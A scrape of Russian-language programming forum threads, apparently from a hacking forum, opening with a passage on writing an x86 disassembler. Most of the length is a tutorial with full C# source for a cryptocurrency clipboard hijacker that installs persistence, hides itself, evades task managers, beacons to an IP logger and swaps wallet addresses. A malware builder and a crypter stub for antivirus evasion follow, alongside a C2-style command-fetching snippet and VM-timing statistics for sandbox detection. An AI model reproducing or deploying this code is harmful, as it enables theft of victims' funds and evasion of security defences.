1. Одобайтовые префиксы (одновременно до 4-х штук). Префиксы ставятся перед командой для изменения ее действия. Префиксы есть следующие:
- префиксы повторения. Ставятся перед командой для повторения команды определенное число раз (REP) или до наступления (или, наоборот, до прекращения) какого-то условия (REPE/REPNE).
- префикс размера операнда. Ставится перед командой для замены действующего размера операнда на 16/32 бит. Опкод - 66h
- префикс размера адреса. Аналогично предыдущему, но для размера адреса. Опкод - 67h
- префикс замены сегмента. Используется для явного указания сегментной составляющей адреса для следующей команды. Например:
CS: MOV EAX, DWORD PTR [100]
Без префикса в EAX окажется число по адресу DS:[100], с префиксом CS: адрес будет CS:[100]. Опкоды: CS=2e, DS=3e, ES=26h, SS=36, FS=64, GS=65.
- префикс блокировки шины (LOCK). Используется для синхронизаций действий процессора и сопроцессора. Опкод:f0h
2. Код операции (1 байт, если первый байт=0f, то 2 байта. Иногда 0f пречисляют к префиксам, но я склонен относить его к коду операции)
3. байт mod r/m, кодирующий формат операндов команды. Имеет такую структуру:
Биты 7-6 -- поле mod. Кодирует тип адресации
Биты 5-3 -- поле reg/КОП. Кодирует второй регистр команды (под первым регистром понимаем регистр, участвующий в адресации), либо пордолжает код операции, размер которого составляет тогда в совокупности 11 байт.
Биты 2-0 -- поле r/m. Кодирует первый(-е) регистр(-ы), участвующий(-е) в адресации
Для упрощения нашей жизни есть специальные таблицы со всеми возможными значениями байта mod r/m.
4. байт sib (scale, index, base). Кодирует 32-разрядную косвенную адресацию
5. Смещение в команде
6. Непосредственный операнд
Все числа по законам процессора Intel записываются в памяти в обратном порядке следования байт. То есть, число 12345678h будет записано как 78 56 34 12.
Приведу пример команды:

Code:Copy to clipboard

2E C786 4E5F 3412    mov word cs:[bp+0x5f4e],0x1234
^  ^ ^  ^    ^   
1  2 3  4    5

Здесь цифрами обозначено:
1 - префикс замены сегмента 2e (CS:)
2 - опкод C7 (MOV)
3 - байт mod r/m
4 - смещение в команде (5f4e, записанное в обратном порядке следования байт)
5 - операнд (1234, в обратном порядке)
Ну вот вроде теперь все ясно насчет структуры машинной команды и мы перейдем к написанию дисассемблера.

III. Кодинг
Я уже написал скелет дисассемблера (сорцы ты найдешь в приложении к статье).
Я лишь объясню тебе принцип действия и назначение каждой функции. Итак, начнем с осмотра файлов:
interface.cpp - интерфейс. Содержит функцию main() и прочую чушь - открытие входного файла, чтение и проч.
disasm.cpp - тут самое главное. Функция disasm()
disasm_help.cpp - вспомогательные функции дисассемблера
disasm.h - хидер. Прототипы функций и объявления статических переменных (таблиц).
В интерфейсе ничего интересного нет, разберешься без меня. Теперь дисассемблер.
Думаю, стоит пояснить назначение каждой функции:
- void disasm(unsigned char*,int);
основная функция. Выводит дисассемблерный листинг. Первый параметр - указатель на расположенный в памяти код, второй - длина кода
- void parse_mod_rm(unsigned char mod_rm, unsigned int *mod, unsigned int *reg, unsigned int rm);
извлекает из байта mod r/m соотв. поля и заносит их по адресам, переданным в виде параметров mod, reg, rm.
- char
get_address_by_mod_rm(unsigned int mod, unsigned int rm, int *offsetsize, int regsize, int *isaddress);
ты самая функция, которая интерпретирует значение байта mod r/m. Передаваемые параметры:
mod, rm - значения соотв. полей, извлеченные функцией parse_mod_rm()
*offsetsize - адрес переменной, куда будет записан размер смещения
regsize - текущий размер операнда (бит). Допустимые значения - 8, 16, 32
isaddress - адрес переменной, куда будет записано, является ли возвращенная строка адресом или нет (0 - нет, 1 - является).
Функция ищет соотв. значение в таблице (закодированной с оригинальных таблиц байта mod r/m) и возвращает результат в виде строки
Назначение переменных:
int chopsize=0, // флаг размера операнда (CHange OPerand SIZE)
chaddrsize=0; // флаг размера адреса (CHange ADDRess SIZE)
unsigned int mod=0,reg=0,rm=0; // значения полей байта mod r/m, извлекаемые parse_mod_rm()
int offsetsize=0; // размер смещения
char
adr=0; // принимает строку, возвращаемую get_address_by_mod_rm(). Может содержать адрес, но не обязан. Зависит от значения полей mod и rm.
int isaddress=0; // является ли строка в предыдущей переменной адресом. (0-нет, 1-да)

После этого рассмотрим как все эти функции применяются вместе.
Префиксы:
case 0x66:
chopsize=1;
ip++;
goto switch__;
break;
тут все просто. Устанавливаем флаг и переходим к свитчу снова (замечу, что нельзя просто пройти далее, сделав break - тогда следующая команда будет на новой строке, а эта останется пуста - мы ведь ничего не выводим).

Однобайтовые команды:
case 0x37:
printf("AAA\n");
break;
Думаю, и так все ясно =). Пояснений не даю.

Двухбайтовые:
case 0xd5:
printf("AAD");
ip++;
if(*ip==0x0a)
printf("\n");
else printf(" %x\n", *ip);
break;
Это чуток сложней предыдущего. Дело в том, что команда принимает аргумент - основание системы счисления для пересчета BCD-чисел. Но если он равен 10 (0a), он обычно не выводится. Поэтому от его значения мы решаем - выводить операнд или нет.

case 0xeb:
ip++;
printf("JMP %x\n", *ip+1);
break;
Команда ближнего безусловного перехода (JMP NEAR). Адрес задается одним байтом.

Теперь пример сложной команды - MOV.
case 0x8b: // команда mov r/m16/32, r/m16/32
printf("MOV "); // выводим мнемонику
ip++; // переходим к следующему байту
parse_mod_rm(*ip, &mod, &reg, &rm); // анализируем байт mod r/m
if(chopsize) // не установлен ли префикс размера операнда? Если да:
{
adr=get_address_by_mod_rm(mod, rm, &offsetsize, 32, &isaddress); // получаем адрес по полю mod r/m
if(isaddress) // выводим операнды
printf("%s,[%s]\n", regs32[reg], adr); // команда вида mov регистр, [регистр]
else
printf("%s,%s\n", regs32[reg], adr); // команда вида mov регистр, регистр
chopsize=0; // сбрасываем флаг размера операнда
}
else // ... если нет:
{
adr=get_address_by_mod_rm(mod, rm, &offsetsize, 16, &isaddress);
if(isaddress)
printf("%s,[%s]\n", regs16[reg], adr); // команда вида mov регистр, [регистр]
else
printf("%s,%s\n", regs16[reg], adr); // команда вида mov регистр, регистр
}
break;
Сначала мы выводим мнемонику команды, чтоб понять, что это именно MOV, а не PUSH и не IRET. Потом мы парсим байт mod r/m и, в зависимости от установленного флага размера операнда (устанавливается при анализе соотв. префикса) выводим операнды.
Теперь тебе все должно быть понятно. Естественно, я не стал писать полноценный дисассемблер. Это лишь скелет.
Дописать еще несколько команд предлагаю в качастве домашнего задания. Приведу описание нескольких команд, не реализованных в моем дисассемблере:
- INT ;генерация прерывания
опкод: CD XX, XX - номер прерывания.
- PUSH reg ;заталкивание в стек регистра общего назначения
опкод: (50+rd), rd - регистр общего назначения из таблицы:
0 - EAX
1 - ECX
2 - EDX
3 - EBX
4 - ESP
5 - EBP
6 - ESI
7 - EDI

На этом все, удачного компилирования =)

Прикрепленные файлы - сорцы дисассемблера

C++ Как писать асинхронные приложения. Часть 1
ID: 6765d804b4103b69df375ab0
Thread ID: 34008
Created: 2019-12-23T17:55:59+0000
Last Post: 2020-01-01T19:59:19+0000
Author: Triada
Prefix: Статья
Replies: 13 Views: 3K

Форуму привет. Сейчас я расскажу как писать правильно писать асинхронные приложения под Windows.
Примером у нас будет такая задача: нам нужно сделать выполнение цикла в нескольких потоках, и при достижении определённого
количества итераций остановить потоки, незнающий человек напишет примерно такой код:

C++:Copy to clipboard

#include <windows.h>
#include <shlwapi.h>

int value = 0;

void worker() {
    while (1) {
        //do something
        value+=10;
    }
}

int main() {
    HANDLE hThreads[4];

    for (int i = 0; i < 4; i++) {
        hThreads[i] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)worker, 0, 0, 0);
    }

    while (1) if (value >= 1000) for (int i = 0; i < 4; i++) TerminateThread(hThreads[i], 0);
}

Но ошибка тут в.... value++

Суть в том, что value++ это набор асм инструкций, а что будет если из-за того, что это мультитред эти инстуркции выполнятся по очереди.
Значение будет уже не достоверным, для этого есть атомарные Interlocked функции, в нашем случаее нам нужна InterlockedExchange

Правильная версия кода:

C++:Copy to clipboard

#include <windows.h>
#include <shlwapi.h>

volatile ULONGLONG value = 0;//volatile - флаг который говорит компилятору что переменную не нужно оптимизировать

void worker() {
    while (1) {
        //do something
        InterlockedExchange(&value, 10);
        //1 это значение на изменение, если там было-бы -1 то получился бы декримент
    }
}

int main() {
    HANDLE hThreads[4];

    for (int i = 0; i < 4; i++) {
        hThreads[i] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)worker, 0, 0, 0);
    }

    while (1) if (value >= 1000) for (int i = 0; i < 4; i++) TerminateThread(hThreads[i], 0);
}

А вообще написание качевственного асинхронного софта очень сложное занятие.

C++ как написать код что бы он скачивал по ссылке?
ID: 6765d804b4103b69df375ab9
Thread ID: 33624
Created: 2019-12-03T14:30:53+0000
Last Post: 2019-12-17T21:24:16+0000
Author: Firewoll
Replies: 9 Views: 3K

Впервые взялся за c++ , очень нужна помощь, как написать код что бы он скачивал по ссылке файл и запускал его? Искал чёт не нашёл в инете

C++ вопрос
ID: 6765d804b4103b69df375abd
Thread ID: 33534
Created: 2019-11-28T20:32:11+0000
Last Post: 2019-12-06T07:02:46+0000
Author: xtvrco
Replies: 5 Views: 3K

Я абсолютно зеленый на плюсах и хочу задать такой вопрос т.к в интернете я ничего не нашел.. Почему на плюсах слетают обычные вещи в игре после каких-то обновлений? Появляются баги с текстурами, модельками и прочее?

C++ CopyFile implementation
ID: 6765d804b4103b69df375ac1
Thread ID: 33574
Created: 2019-11-30T11:43:14+0000
Last Post: 2019-11-30T16:58:57+0000
Author: Paramedic
Replies: 11 Views: 3K

C++:Copy to clipboard

    BOOL pCopyFile(LPWSTR SourceFilePath, LPWSTR DestinationFilePath)
    {
        BOOL Return = FALSE;

        if (!SourceFilePath || !DestinationFilePath)
        {
#ifdef __DEBUG
            OutputDebugStringW(L"Utils::pCopyFile - error occured. One of the passed parameters is NULL.");
#endif
            return Return;
        }

        if (GetFileAttributesW(DestinationFilePath) != INVALID_FILE_ATTRIBUTES)
        {
#ifdef __DEBUG
            OutputDebugStringW(L"Utils::pCopyFile - error occured. Destination file already exists.");
#endif
            return Return;
        }

     
        HANDLE SourceFileHandle = CreateFileW(SourceFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

        if (SourceFileHandle == INVALID_HANDLE_VALUE)
        {
#ifdef __DEBUG
            OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't obtain handle of the source file.");
#endif
            goto Cleanup;
        }

        HANDLE DestinationFileHandle = CreateFileW(DestinationFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);

        if (DestinationFileHandle == INVALID_HANDLE_VALUE)
        {
#ifdef __DEBUG
            OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't obtain handle of the destination file.");
#endif
            goto Cleanup;
        }

        HANDLE FileMappingHandle = CreateFileMappingW(SourceFileHandle, NULL, PAGE_READONLY, 0, 0, NULL);

        if (!FileMappingHandle)
        {
#ifdef __DEBUG
            OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't create file mapping.");
#endif
            goto Cleanup;
        }

        LPVOID FileData = MapViewOfFile(FileMappingHandle, FILE_MAP_READ, 0, 0, 0);

        if (!FileData)
        {
#ifdef __DEBUG
            OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't map file to memory.");
#endif
            goto Cleanup;
        }

        DWORD BytesWritten = 0;

        if (!WriteFile(DestinationFileHandle, FileData, GetFileSize(SourceFileHandle, NULL), &BytesWritten, NULL))
        {
#ifdef __DEBUG
            OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't write data to the destination file.");
#endif
            goto Cleanup;
        }

        Return = TRUE;

    Cleanup:
        if (SourceFileHandle)
        {
            CloseHandle(SourceFileHandle);
        }

        if (DestinationFileHandle)
        {
            CloseHandle(DestinationFileHandle);
        }

        if (FileData)
        {
            UnmapViewOfFile(FileData);
        }

        return Return;
    }
С++ socket http post request
ID: 6765d804b4103b69df375ac2
Thread ID: 33510
Created: 2019-11-27T16:38:19+0000
Last Post: 2019-11-30T08:31:40+0000
Author: Crypto Locker
Replies: 5 Views: 3K

Spoiler: code

Code:Copy to clipboard

#include <windows.h>
#include "Network.h"
#include "Memory.h"
#define WEB_SERVER "google.com"

BOOL Network::IntializeNetwork() {
    WSADATA wsa;
    if (WSAStartup(MAKEWORD(2, 2), &wsa) == 0) return 1;
    return 0;
}

CHAR* Network::getCommand(LPCSTR computerInfo) {
    if (SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) {
        if (HOSTENT* he = gethostbyname(WEB_SERVER)) {
            struct sockaddr_in addr;
            memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);
            addr.sin_family = AF_INET;
            addr.sin_port = htons(80);
            if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) != INVALID_SOCKET) {
                char* buffer = (char*)_alloc(65536);
                const char* request = "POST /command.php HTTP/1.1\r\n"
                    "Host: " WEB_SERVER "\r\n"
                    "User-Agent: ************ ***** ** * ***\r\n"
                    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\n"
                    "Accept-Encoding: gzip, deflate\r\n"
                    "Accept-Language: en-us;q=0.7,en;q=0.3\r\n"
                    "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"
                    "Connection: keep-alive\r\n\r\n";

                if (send(sock, request, lstrlenA(request), 0) > 0) {
                    if (send(sock, computerInfo, lstrlenA(computerInfo), 0) > 0) {
                        _memset(buffer, 0, 65536);
                        if (recv(sock, buffer, 65535, 0) > 0) {
                            goto end;
                        }
                    }
                }
            end:;
                closesocket(sock);
                return buffer;
            }
        }
    }
}
C#
ID: 6765d804b4103b69df375ac5
Thread ID: 33454
Created: 2019-11-25T21:35:29+0000
Last Post: 2019-11-27T14:46:56+0000
Author: kaha
Replies: 7 Views: 3K

я использую

C#:Copy to clipboard

new Thread(() => { Thread.Sleep(10000); Application.Exit(); }).Start();

что бы при запуске программы само закрылось через 10 сек. моя прога копируется в другой раздел и удаляет основной exe , как сделать чтобы копия программы тоже не закрывалось через 10 сек?)

биток-стиллер на C#
ID: 6765d804b4103b69df375ace
Thread ID: 32768
Created: 2019-10-27T10:34:44+0000
Last Post: 2019-10-27T10:34:44+0000
Author: Joynses
Prefix: Статья
Replies: 0 Views: 3K

Доброго времени суток!

Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет
на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.

В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.

Билд

Алгоритм работы клиппера:

  1. Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер
  2. Запускаем в отдельном потоке мониторинг процессов
  3. Мониторим буффер обмена

Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.

Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:

Code:Copy to clipboard

static void Monitor() {
 while (true) {
  try {
   foreach(Process item in Process.GetProcesses())
   if (item.ProcessName.ToLower() == "taskmgr" ||
    item.ProcessName.ToLower() == "processhacker" ||
    item.ProcessName.ToLower() == "procexp")
    Environment.Exit(0);

   Thread.Sleep(500);
  } catch {}

 }
}

Переходим к Main. Задаем путь к файлу:

Code:Copy to clipboard

string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";

path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.

Устанавливаем клиппер если он не установлен:

Code:Copy to clipboard

if (!File.Exists(path)) {
 File.Copy(Assembly.GetEntryAssembly().Location, path);

 // Самоудаление и добавление в планировщик заданий

 ProcessStartInfo proc = new ProcessStartInfo();
 proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
 proc.WindowStyle = ProcessWindowStyle.Hidden;
 proc.CreateNoWindow = true;
 proc.FileName = "cmd.exe";

 // Ставим аттрибуты Скрытый и Системный на файл

 File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);

 // Стучим в IPLogger

 try {
  HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
  http.UserAgent = "New user!";
  http.GetResponse();
 } catch {}


 Process.Start(proc);
 Environment.Exit(0);

}

Запустим в новом потоке мониторинг процессов:

Code:Copy to clipboard

Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();

Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои.

Code:Copy to clipboard

while (true) {
 string idat_old = string.Empty;
 string idat = string.Empty;

 Thread.Sleep(500);

 try {
  if (Clipboard.ContainsText()) {
   idat = Clipboard.GetText();

   if (idat != idat_old) {
    // Ищем в clipboard адреса и если находим заменяем

    if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet1]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }
    if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet2]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    } else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[ethwallet]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }

    idat_old = idat;
   }
  }
 } catch {}

}

С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.

Билдер

Алгоритм работы билдера:

  1. Получаем указанные в полях кошельки
  2. Заменяем их в исходнике клиппера
  3. Компилируем исходник

Создаем проект WindowsForms. По-быстрому набросаем форму:
1572172602659.png

Переходим к коду. Добавим пару юзингов:

Code:Copy to clipboard

using Microsoft.CSharp;
using System.CodeDom.Compiler;

В обработчике кнопки пишем:

Code:Copy to clipboard

CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";

Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");

string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);


var settings = new Dictionary < string,
 string > ();
settings.Add("CompilerVersion", "v4.0");

CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {

 foreach(CompilerError err in Results.Errors)
 MessageBox.Show(err.ToString()); //Вывод ошибок
}

MessageBox.Show("Done!", "Success");

Добавляем в ресурсы билдера сурс клиппера:
1572172616300.png
Компилируем билдер.

Детект билда: https://avcheck.net/id/oGkjgtdwEVdI
После крипта:
1572172625643.png
Исходники: https://github.com/onek1lo/SimpleClipper

Как сделать криптор

Как всем известно, билды различной малвари (особенно паблик) имеют достаточно большой скантайм детект. В этой статье мы сделаем простой криптор .net приложений на c#.

Кто виноват? Что делать?

Скантайм - сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen детекты.
Рантайм - детект при запуске файла, своего рода поведенческая сигнатура. Наример, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска и прочее. Эта модель поведения занесена в базы антивирусов.

Наша задача - убрать сигнатуры и изменить поведение файла; другими словами мы напишем оболочку для нашего файла.

Глаза боятся, а руки из жопы

Первым делом ознакомимся cо статьей небезызвестного 1ms0rry:
[https://ims0rry.tumblr.com/post/167338238375/крипт-net-приложения-на-примере- orcus- rat](https://ims0rry.tumblr.com/post/167338238375/%D0%BA%D1%80%D0%B8%D0%BF%D1%82-net-%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-%D0%BD%D0%B0-%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%B5-orcus- rat)

Чтож, такой крипт хоть и работает, но держит недолго.
В нашем проекте мы будем использовать стабы.

Стаб

Стаб - небольшая программа, "сердце" криптора, кторая отвечает за запуск шифрованного файла, антиэмуляцию и прочие плюшки.
Для начала напишем именно стаб.

Структура стаба будет такова:
-Сам стаб
-Слово-разделитель
-Ключ расшифровки
-Слово-разделитель
-Шифрованные данные

Алгоритм работы стаба:

  1. Ищем слово-разделитель в файле
  2. Получаем ключ
  3. Ищем слово-разделитель в файле
  4. Получаем шифрованные даные
  5. Расшифровываем даные (base64 -> byte[] -> Decrypt() -> byte[])
  6. Загружаем и выполняем сборку

Нашим словом-разделителем будет "keeeek".

Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .net 4.0.

1572172648797.png

Первым делом добавим функцию расшифровки:

Code:Copy to clipboard

public static byte[] Decrypt(byte[] input, string key) {
 PasswordDeriveBytes pdb =
  new PasswordDeriveBytes(key,
   new byte[] {
    0x43,
    0x87,
    0x23,
    0x72
   });
 MemoryStream ms = new MemoryStream();
 Aes aes = new AesManaged();
 aes.Key = pdb.GetBytes(aes.KeySize / 8);
 aes.IV = pdb.GetBytes(aes.BlockSize / 8);
 CryptoStream cs = new CryptoStream(ms,
  aes.CreateDecryptor(), CryptoStreamMode.Write);
 cs.Write(input, 0, input.Length);
 cs.Close();
 return ms.ToArray();
}

Переходим к Main. Ставим рандомную задержку (5-20 секунд):

Code:Copy to clipboard

Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));

Получаем в строки необходимые данные:

Code:Copy to clipboard

string data = File.ReadAllText(Assembly.GetEntryAssembly().Location); // Считываем файл
string key = new Regex("keeeek.*keeeek").Matches(data)[0].Value.Replace("keeeek", ""); // Считываем ключ
string file = Regex.Split(data, "keeeek")[2]; // Считываем base64 строку

Далее загрузим расшифрованную сборку:

Code:Copy to clipboard

Assembly assembly = Assembly.Load(Decrypt(Convert.FromBase64String(file), key)); // Расшифровываем и загружаем сборку
assembly.EntryPoint.Invoke(null, new object[] { new string[] { } });

Учтите, что Mian может не принимать аргументов вообще!

В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.
1572172665277.png
На этом со стабом покончили. Далее идет самая простая часть - написание самого криптора.

Криптор

Алгоритм работы криптора:

  1. Выбираем файл для крипта
  2. Шифруем файл и конвертируем его в Base64 строку
  3. Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку

Создаем приложение WindowsForms, кидаем на него конпку:
1572172672117.png

Дважды кликаем по ней и пишем в методе код:

Code:Copy to clipboard

OpenFileDialog op = new OpenFileDialog(); // Окно для выбора файла
op.ShowDialog();

Далее проинициализируем переменные:

Code:Copy to clipboard

string filename = op.FileName; // Имя файла

byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором

string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ

byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл

byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку

Теперь, когда все данные получены, просто запишем все в новый файл:

Code:Copy to clipboard

FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
fs.Write(stub, 0, stub.Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(base64, 0, base64.Length);
fs.Close();

Чуть не забыл, добавим функцию шифрования:

Code:Copy to clipboard

public static byte[] Encrypt(byte[] input, string key) {
 PasswordDeriveBytes pdb =
  new PasswordDeriveBytes(key,
   new byte[] {
    0x43,
    0x87,
    0x23,
    0x72
   });
 MemoryStream ms = new MemoryStream();
 Aes aes = new AesManaged();
 aes.Key = pdb.GetBytes(aes.KeySize / 8);
 aes.IV = pdb.GetBytes(aes.BlockSize / 8);
 CryptoStream cs = new CryptoStream(ms,
  aes.CreateEncryptor(), CryptoStreamMode.Write);
 cs.Write(input, 0, input.Length);
 cs.Close();
 return ms.ToArray();
}

Ну вот и все, криптор готов.
Кладем стаб к криптору и начинаем тестить.

Для примера закриптуем билд стиллера TRON Project.
1572172680954.png
Как чистить стабы?

  1. Изменять ключевое слово
  2. Изменять название переменных, их длину, добавлять мусорный код
  3. Накрыть стаб каким либо обфускатором
  4. Добавить иконку, изменить информацию о файле и тп (ResourceHaсker в помощь)

Ну и конечно же изменять алгоритм работы стаба.

После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:
1572172689865.png

Я думаю всем понятно, что сканить стабы/криптованные билды на вирустотале и аналогах не нужно

На этом все!
Исходники: https://github.com/onek1lo/Simple-Crypter

Статистика по интервалам времени между операциями под вм и под живой ос.
ID: 6765d804b4103b69df375ade
Thread ID: 31964
Created: 2019-09-22T20:22:23+0000
Last Post: 2019-09-30T09:01:01+0000
Author: Whisper
Replies: 17 Views: 3K

Тестируем такой вот простенький код
HANDLE hEvent = CreateEvent manual reset, nonsignaled
ULONG64 ft1, ft2;
ULONG64 cur;
ULONG64 imin = -1;
ULONG64 imax = 0;
while (true) {
for (int i = 0; i < 100; i++) {
GetSystemTimeAsFileTime((FILETIME*)&ft1);
WaitForSingleObject hEvent, 10ms, no alertable
GetSystemTimeAsFileTime((FILETIME*)&ft2);
cur = ft2 - ft1;
if (cur < imin) imin = cur;
if (cur > imax) imax = cur;
}
print "min %x, max %x\n", imin, imax
}

собираем статистику. (сорян что в хексе)

w7 64 варя
min 26160, max 26161
min 26160, max 26161
min 26160, max 26161
удивительно но интервалы одинаковые на протяжении пары минут
...

w10 варя
min 25249, max 38524
min 25249, max 38524
min 24fec, max 38524
min 24fec, max 38524
min 24fec, max 38524
min 24fec, max 38524
min 186c7, max 38524
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c4, max 3d2c7
min 186c4, max 3d2c7
...

w10 живая
min 1877a, max 187e7
min 18775, max 187e9
min 18775, max 187e9
min 18769, max 187fb
min 18737, max 1882a
min 1870e, max 18859
min 186f6, max 1886e
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 19b49
min 186f6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
